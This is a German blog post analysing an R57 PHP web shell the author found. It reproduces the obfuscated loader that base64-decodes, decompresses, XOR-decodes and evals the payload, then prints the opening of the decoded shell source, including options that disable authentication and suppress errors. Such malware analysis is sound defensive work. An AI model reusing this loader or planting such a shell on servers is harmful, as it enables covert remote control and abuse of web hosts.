PHP Rootshell R57 / FUD Algorithmus

So hier Teil 2 zur gefundenen Rootshell. Zum Glück ist diese Shell bekannt und wird mittlerweile von Virenscannern entdeckt.

Somit ist dieser Algorithmus nicht mehr das was er vorgibt : FUD.
Diese Bezeichnung wird verwendet für Algorithmen die Viren/Trojaner/Shells etc. so verschlüsseln das sie nicht entdeckt werden.
Laut Wikipedia steht sie für : Fear, Unvertainty and Doubt.

Nocheinmal kurz zum Aufbau der Verschleierung:

1) Eine Zeichenkette mit base64 kodierten Daten
2) Ein eval() welches base64 kodierten PHP Code enthält und ausführt

Der Code in 2) verändert die Daten in der Zeichenkette, interpretiert sie als PHP Code und führt sie aus.

Im folgenden der Algorithmus der die eigentlichen Daten verändert und einbindet:

$lll=0;

//eval(base64_decode(„JGxsbGxsbGxsbGxsPSdiYXNlNjRfZGVjb2RlJzs=“));
$lllllllllll=’base64_decode‘;

$ll=0;

//eval(base64_decode(„JGxsbGxsbGxsbGw9J29yZCc7“));
$llllllllll=’ord‘;
$llll=0;

$lllll=3;

//eval(base64_decode(„JGw9JGxsbGxsbGxsbGxsKCRvKTs=“));
$l=base64_decode($o);

$lllllll=0;

$llllll=(ord($l[1])<<8)+ord($l[2]);

//eval(base64_decode(„JGxsbGxsbGxsbGxsbGw9J3N0cmxlbic7“));
$lllllllllllll=’strlen‘;

$lllllllll=16;

$llllllll=““;

for(;$lllll<strlen($l);)
{
if($lllllllll==0)
{
$llllll=(ord($l[$lllll++])<<8);
$llllll+=ord($l[$lllll++]);
$lllllllll=16;
}
if($llllll&0x8000)
{
$lll=(ord($l[$lllll++])<<4);
$lll+=(ord($l[$lllll])>>4);
if($lll)
{
$ll=(ord($l[$lllll++])&0x0f)+3;
for($llll=0;$llll<$ll;$llll++)
$llllllll[$lllllll+$llll]=$llllllll[$lllllll-$lll+$llll];

$lllllll+=$ll;
}
else
{
$ll=(ord($l[$lllll++])<<8);
$ll+=ord($l[$lllll++])+16;
for($llll=0;$llll<$ll;$llllllll[$lllllll+$llll++]=ord($l[$lllll]));

$lllll++;
$lllllll+=$ll;
}
}
else
$llllllll[$lllllll++]=ord($l[$lllll++]);

$llllll<<=1;
$lllllllll–;
}
$llllllllllll=’chr‘;

$lllll=0;
$lllllllll=“?“.chr(62);

$llllllllll=““;
for(;$lllll<$lllllll;)
{
$llllllllll.=chr($llllllll[$lllll++]^0x07);
}
$lllllllll.=$llllllllll.chr(60).“?“;

eval($lllllllll);

Ich habe im oberen Teil die eval noch auskommentiert und darunter die eigentliche bedeutung geschrieben. Das habe ich allerdings nicht komplett durchgezogen. Der Befehl „chr“ war auf identische Weise verschleiert.

Wie man unschwer erkennen kann wird die Payload ($l) geladen und anschliessend modifiziert mittels Bitverschiebung und logischen Operatoren.

So nun möchte man aber an den Quellcode !

Also nur fix den Code ändern das die Daten ausgegeben werden und die entsprechenden Schritte mit der base64 kodierung rückwärts:

?><?php
/******************************************************************************************************/
/*
/*                                     #    #        #    #
/*                                     #   #          #   #
/*                                    #    #          #    #
/*                                    #   ##   ####   ##   #
/*                                   ##   ##  ######  ##   ##
/*                                   ##   ##  ######  ##   ##
/*                                   ##   ##   ####   ##   ##
/*                                   ###   ############   ###
/*                                   ########################
/*                                                   R57 shell
/*                                 ######## ########## #######
/*                                ###   ##  ##########  ##   ###
/*                                ###   ##  ##########  ##   ###
/*                                 ###   #  ##########  #   ###
/*                                 ###   ##  ########  ##   ###
/*                                  ##    #   ######   #    ##
/*                                   ##   #    ####   #    ##
/*                                     ##                 ##
/*
/******************************************************************************************************/
/* ~~~ ????????? | Options  ~~~ */

// ????? ????? | Language
// $language='ru' - ??????? (russian)
// $language='eng' - english (??????????)
$language='eng';

// ?????????????? | Authentification
// $auth = 1; - ?????????????? ????????  ( authentification = On  )
// $auth = 0; - ?????????????? ????????? ( authentification = Off )
$auth = 0; 

// ????? ? ?????? ??? ??????? ? ??????? (Login & Password for access)
// ?? ???????? ??????? ????? ??????????? ?? ???????!!! (CHANGE THIS!!!)
// ????? ? ?????? ????????? ? ??????? ????????? md5, ???????? ?? ????????? 'r57'
// Login & password crypted with md5, default is 'r57'
/******************************************************************************************************/
error_reporting(0);
set_magic_quotes_runtime(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
$safe_mode = @ini_get('safe_mode');
$version = 'X70.01';
if(version_compare(phpversion(), '4.1.0') == -1)
 {
 $_POST   = &$HTTP_POST_VARS;
 $_GET    = &$HTTP_GET_VARS;
 $_SERVER = &$HTTP_SERVER_VARS;
 $_COOKIE = &$HTTP_COOKIE_VARS;
 }
if (@get_magic_quotes_gpc())

und so weiter und so fort, sogar an multilanguage wurde gedacht 😉
Nach einem Test der Shell in einer VM muss ich sagen, leider, das Ding ist wirklich gut !

Wenn man das auf seinem Webserver findet kann man nur hoffen das der Einbrecher damit nicht umgehen konnte oder damit „nur“ etwas zum spammen hinterlegt hat.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.